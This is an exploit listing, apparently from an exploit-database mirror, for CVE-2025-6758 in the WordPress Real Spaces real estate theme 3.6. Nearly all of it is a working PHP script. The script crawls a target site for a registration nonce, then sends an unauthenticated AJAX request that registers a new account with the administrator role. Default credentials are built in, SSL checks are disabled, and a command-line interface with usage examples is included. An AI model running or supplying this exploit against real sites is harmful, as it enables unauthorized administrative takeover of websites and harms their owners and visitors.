Share
## https://sploitus.com/exploit?id=PACKETSTORM:216344
=============================================================================================================================================
    | # Title     : WordPress Real Spaces Properties Directory Theme 3.6 Unauthenticated Administrator Registration Vulnerability               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://themeforest.net/item/real-spaces-wordpress-real-estate-theme/8219779                                                |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-6758
    
                     https://packetstorm.news/files/id/210833/
    
                     https://wpscan.com/vulnerability/12347
    
    [+] Summary
       
        A critical security vulnerability exists in the Real Spaces Properties Directory Theme that allows unauthenticated attackers to register administrator accounts without any authentication. 
    	The vulnerability stems from improper nonce validation and missing authorization checks in the user registration functionality.
    
    
    [+] Usage: 
    
    Usage: php poc.php -u https://example.com
    
    [+] POC :
    
    <?php
    /**
     * CVE-2025-6758 Exploit
     * By: indoushka
     */
    
    class WPRegistrationExploit {
        private $defaultUsername = "indoushka";
        private $defaultPassword = "123456789";
        private $defaultEmail = "indoushka@gmail.com";
        private $defaultPosition = "indoushkaadmin";
        private $defaultRole = "administrator";
        private $nonceRegex = '/registration_nonce"\s*:\s*"([^"]+)/';
        
        private $session;
        private $debug = false;
        
        public function __construct($debug = false) {
            $this->debug = $debug;
            $this->session = curl_init();
            curl_setopt_array($this->session, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_USERAGENT => "Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper",
                CURLOPT_TIMEOUT => 15,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    "Accept: */*",
                    "X-Requested-With: XMLHttpRequest"
                ]
            ]);
        }
        
        public function __destruct() {
            if ($this->session) {
                curl_close($this->session);
            }
        }
        
        private function shortDelay($min = 0.4, $max = 1.0) {
            usleep(rand($min * 1000000, $max * 1000000));
        }
        
        private function log($message, $level = "INFO") {
            echo "[$level] $message\n";
        }
        
        private function fetchPage($url, $verifySSL = false) {
            curl_setopt_array($this->session, [
                CURLOPT_URL => $url,
                CURLOPT_HTTPGET => true,
                CURLOPT_POST => false,
                CURLOPT_SSL_VERIFYPEER => $verifySSL
            ]);
            
            $response = curl_exec($this->session);
            $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            
            if ($httpCode === 200 && $response) {
                return $response;
            }
            
            if ($this->debug) {
                $this->log("Fetch failed: $url - HTTP Code: $httpCode", "DEBUG");
            }
            
            return null;
        }
        
        private function extractNonceBS4($html) {
            // Simple DOM parsing without external libraries
            if (preg_match('/data-registration-nonce="([^"]+)"/', $html, $matches)) {
                return $matches[1];
            }
            
            if (preg_match('/<input[^>]*name="registration_nonce"[^>]*value="([^"]+)"/', $html, $matches)) {
                return $matches[1];
            }
            
            // Search in script tags
            if (preg_match_all('/<script[^>]*>(.*?)<\/script>/s', $html, $scriptMatches)) {
                foreach ($scriptMatches[1] as $scriptContent) {
                    if (preg_match($this->nonceRegex, $scriptContent, $matches)) {
                        return $matches[1];
                    }
                }
            }
            
            return null;
        }
        
        private function extractNonceRegex($html) {
            if (preg_match($this->nonceRegex, $html, $matches)) {
                return $matches[1];
            }
            return null;
        }
        
        private function findNoncesInJS($jsText) {
            preg_match_all($this->nonceRegex, $jsText, $matches);
            return $matches[1] ?? [];
        }
        
        private function collectLinks($baseUrl, $html) {
            $links = [];
            $baseParsed = parse_url($baseUrl);
            $baseHost = $baseParsed['host'] ?? '';
            
            // Extract anchor links
            preg_match_all('/<a[^>]+href="([^"]+)"/', $html, $anchorMatches);
            foreach ($anchorMatches[1] as $href) {
                if (strpos($href, 'mailto:') === 0 || strpos($href, 'tel:') === 0) {
                    continue;
                }
                
                $fullUrl = $this->joinUrls($baseUrl, $href);
                $parsed = parse_url($fullUrl);
                
                if (($parsed['host'] ?? '') === $baseHost) {
                    $cleanUrl = strtok($fullUrl, '#');
                    $links[$cleanUrl] = true;
                }
            }
            
            // Extract script sources
            preg_match_all('/<script[^>]+src="([^"]+)"/', $html, $scriptMatches);
            foreach ($scriptMatches[1] as $src) {
                $fullUrl = $this->joinUrls($baseUrl, $src);
                $links[$fullUrl] = true;
            }
            
            return array_keys($links);
        }
        
        private function joinUrls($base, $relative) {
            if (parse_url($relative, PHP_URL_SCHEME) !== null) {
                return $relative;
            }
            
            if ($relative[0] === '/') {
                $baseParsed = parse_url($base);
                return $baseParsed['scheme'] . '://' . $baseParsed['host'] . $relative;
            }
            
            return rtrim($base, '/') . '/' . ltrim($relative, '/');
        }
        
        public function scanLinksForNonce($startUrl, $maxPages = 25, $maxDepth = 2, $verifySSL = false) {
            $found = [];
            $seen = [];
            $toVisit = [[$startUrl, 0]];
            
            while (!empty($toVisit) && count($seen) < $maxPages) {
                list($url, $depth) = array_shift($toVisit);
                
                if (in_array($url, $seen)) {
                    continue;
                }
                
                $seen[] = $url;
                $this->shortDelay();
                
                $html = $this->fetchPage($url, $verifySSL);
                if (!$html) {
                    continue;
                }
                
                $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
                if ($nonce) {
                    $found[] = [$url, $nonce];
                }
                
                if ($depth < $maxDepth) {
                    $links = $this->collectLinks($url, $html);
                    foreach ($links as $link) {
                        if (!in_array($link, $seen)) {
                            $toVisit[] = [$link, $depth + 1];
                        }
                    }
                }
            }
            
            return $found;
        }
        
        public function searchCommonPathsForNonce($baseUrl, $verifySSL = false) {
            $candidates = [
                "register",
                "Register",
                "register/",
                "Register/",
                "wp-register.php",
                "wp-login.php?action=register",
                "wp-content/plugins/",
                "wp-content/themes/",
                "wp-register.php",
                "?page_id=1476",
                "wp-login.php",
            ];
            
            $found = [];
            
            foreach ($candidates as $path) {
                $tryUrl = $this->joinUrls($baseUrl, $path);
                $this->shortDelay();
                
                $html = $this->fetchPage($tryUrl, $verifySSL);
                if (!$html) {
                    continue;
                }
                
                $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
                if ($nonce) {
                    $found[] = [$tryUrl, $nonce];
                } else {
                    // Check JavaScript files
                    preg_match_all('/<script[^>]+src="([^"]+)"/', $html, $scriptMatches);
                    foreach ($scriptMatches[1] as $src) {
                        $jsUrl = $this->joinUrls($tryUrl, $src);
                        $this->shortDelay();
                        
                        $jsContent = $this->fetchPage($jsUrl, $verifySSL);
                        if ($jsContent) {
                            $nonces = $this->findNoncesInJS($jsContent);
                            foreach ($nonces as $n) {
                                $found[] = [$jsUrl, $n];
                            }
                        }
                    }
                }
            }
            
            return $found;
        }
        
        private function buildPayload($nonce, $username, $password, $email, $position, $role) {
            return [
                "action" => "imic_agent_register",
                "reg_nonce" => $nonce,
                "task" => "register",
                "role" => $role,
                "username" => $username,
                "position" => $position,
                "email" => $email,
                "pwd1" => $password,
                "pwd2" => $password,
            ];
        }
        
        private function performRegistration($ajaxUrl, $payload, $verifySSL = false) {
            $headers = [
                "User-Agent: Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper",
                "Accept: */*",
                "X-Requested-With: XMLHttpRequest",
                "Referer: " . str_replace("wp-admin/admin-ajax.php", "register/", $ajaxUrl),
                "Content-Type: application/x-www-form-urlencoded"
            ];
            
            curl_setopt_array($this->session, [
                CURLOPT_URL => $ajaxUrl,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($payload),
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_SSL_VERIFYPEER => $verifySSL
            ]);
            
            $response = curl_exec($this->session);
            $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            
            if ($httpCode === 200 && $response) {
                return $response;
            }
            
            $this->log("POST failed: HTTP Code $httpCode", "ERROR");
            return null;
        }
        
        public function execute($args) {
            $baseUrl = $args['url'];
            if (!str_ends_with($baseUrl, '/')) {
                $baseUrl .= '/';
            }
            
            $results = [];
            
            // Try base URL first
            $startHtml = $this->fetchPage($baseUrl, $args['verify_ssl']);
            if ($startHtml) {
                $nonce = $this->extractNonceBS4($startHtml) ?: $this->extractNonceRegex($startHtml);
                if ($nonce) {
                    $results[] = [$baseUrl, $nonce];
                }
            }
            
            // Try page_id if no results
            if (empty($results)) {
                $pageIdUrl = $this->joinUrls($baseUrl, "?page_id=1476");
                $this->log("Auto-trying page_id path: $pageIdUrl", "DEBUG");
                $this->shortDelay();
                
                $html = $this->fetchPage($pageIdUrl, $args['verify_ssl']);
                if ($html) {
                    if ($this->debug) {
                        echo "\n--- HTML snippet from ?page_id=1476 (first 800 chars) ---\n";
                        echo substr($html, 0, 800) . "\n";
                        echo "--- end snippet ---\n\n";
                    }
                    
                    $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
                    if ($nonce) {
                        $results[] = [$pageIdUrl, $nonce];
                    }
                }
            }
            
            // Scan links if still no results
            if (empty($results)) {
                $linkResults = $this->scanLinksForNonce(
                    $baseUrl, 
                    $args['max_pages'], 
                    $args['max_depth'], 
                    $args['verify_ssl']
                );
                $results = array_merge($results, $linkResults);
            }
            
            // Scan common paths if enabled and still no results
            if ($args['scan_common_paths'] && empty($results)) {
                $commonResults = $this->searchCommonPathsForNonce($baseUrl, $args['verify_ssl']);
                $results = array_merge($results, $commonResults);
            }
            
            if (empty($results)) {
                $this->log("No registration_nonce values found. Provide a specific registration URL or increase scan options.", "ERROR");
                $this->log("Tip: try --scan-common-paths or --debug to print HTML snippets for inspection.", "INFO");
                return;
            }
            
            $this->log("Nonces found: " . count($results), "INFO");
            
            list($nonceSource, $nonceValue) = $results[0];
            $this->log("Using nonce from: $nonceSource", "INFO");
            
            $payload = $this->buildPayload(
                $nonceValue,
                $args['username'],
                $args['password'],
                $args['email'],
                $args['position'],
                $args['role']
            );
            
            $ajaxUrl = $this->joinUrls($baseUrl, $args['ajax_path']);
            $this->shortDelay(0.6, 1.2);
            
            $response = $this->performRegistration($ajaxUrl, $payload, $args['verify_ssl']);
            if (!$response) {
                $this->log("No response or POST failure.", "ERROR");
                return;
            }
            
            // Parse response
            $success = false;
            $message = '';
            
            if (preg_match('/<div[^>]*class=["\']?[^"\'>]*alert-success[^"\'>]*["\']?[^>]*>(.*?)<\/div>/is', $response, $matches)) {
                $message = strip_tags($matches[1]);
                $message = html_entity_decode($message);
                
                if (stripos($message, 'success') !== false || stripos($message, 'successfully') !== false) {
                    $success = true;
                }
            }
            
            if ($success) {
                echo "[+] Exploitation successful.\n";
                echo "[+] Server message: $message\n";
                echo "[+] Username: " . $args['username'] . "\n";
                echo "[+] Password: " . $args['password'] . "\n";
                echo "[+] Email: " . $args['email'] . "\n";
                echo "[+] Role: " . $args['role'] . "\n";
            } else {
                echo "[!] Registration POST completed. Server response:\n";
                echo substr($response, 0, 1000) . "\n";
            }
            
            // Save results if requested
            if (!empty($args['save_json'])) {
                $report = [
                    'total' => count($results),
                    'details' => []
                ];
                
                $seenValues = [];
                foreach ($results as list($src, $nonce)) {
                    $unique = !in_array($nonce, $seenValues);
                    $seenValues[] = $nonce;
                    $report['details'][] = [
                        'source' => $src,
                        'nonce' => $nonce,
                        'unique' => $unique
                    ];
                }
                
                if (file_put_contents($args['save_json'], json_encode($report, JSON_PRETTY_PRINT)) !== false) {
                    $this->log("Results saved to " . $args['save_json'], "INFO");
                } else {
                    $this->log("Failed to save JSON: " . $args['save_json'], "ERROR");
                }
            }
        }
    }
    
    // Command line interface
    if (php_sapi_name() === 'cli') {
        $options = getopt("u:", [
            "url:",
            "username:",
            "password:",
            "email:",
            "position:",
            "role:",
            "max-pages:",
            "max-depth:",
            "scan-common-paths",
            "ajax-path:",
            "verify-ssl",
            "save-json:",
            "debug",
            "help"
        ]);
        
        if (isset($options['help']) || !isset($options['url'])) {
            echo "CVE-2025-6758 Exploit - WordPress Registration Vulnerability\n";
            echo "Usage: php exploit.php -u <url> [options]\n\n";
            echo "Options:\n";
            echo "  -u, --url              Base URL to scan (required)\n";
            echo "  --username             Username to register (default: indoushka)\n";
            echo "  --password             Password to register (default: 123456789)\n";
            echo "  --email                Email to register (default: indoushka@gmail.com)\n";
            echo "  --position             Position value (default: indoushkaadmin)\n";
            echo "  --role                 Role value (default: administrator)\n";
            echo "  --max-pages            Maximum pages to visit when crawling (default: 30)\n";
            echo "  --max-depth            Maximum crawl depth (default: 2)\n";
            echo "  --scan-common-paths    Scan common register/plugin/theme paths\n";
            echo "  --ajax-path            AJAX endpoint path (default: wp-admin/admin-ajax.php)\n";
            echo "  --verify-ssl           Verify SSL certificates\n";
            echo "  --save-json            Save results as JSON file\n";
            echo "  --debug                Enable debug logging\n";
            echo "  --help                 Show this help\n\n";
            echo "Examples:\n";
            echo "  php exploit.php -u https://example.com\n";
            echo "  php exploit.php -u https://example.com --debug --scan-common-paths\n";
            echo "  php exploit.php -u https://example.com --username admin --role administrator\n";
            exit(0);
        }
        
        $args = [
            'url' => $options['u'] ?? $options['url'],
            'username' => $options['username'] ?? 'indoushka',
            'password' => $options['password'] ?? '123456789',
            'email' => $options['email'] ?? 'indoushka@gmail.com',
            'position' => $options['position'] ?? 'indoushkaadmin',
            'role' => $options['role'] ?? 'administrator',
            'max_pages' => $options['max-pages'] ?? 30,
            'max_depth' => $options['max-depth'] ?? 2,
            'scan_common_paths' => isset($options['scan-common-paths']),
            'ajax_path' => $options['ajax-path'] ?? 'wp-admin/admin-ajax.php',
            'verify_ssl' => isset($options['verify-ssl']),
            'save_json' => $options['save-json'] ?? '',
            'debug' => isset($options['debug'])
        ];
        
        $exploit = new WPRegistrationExploit($args['debug']);
        $exploit->execute($args);
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================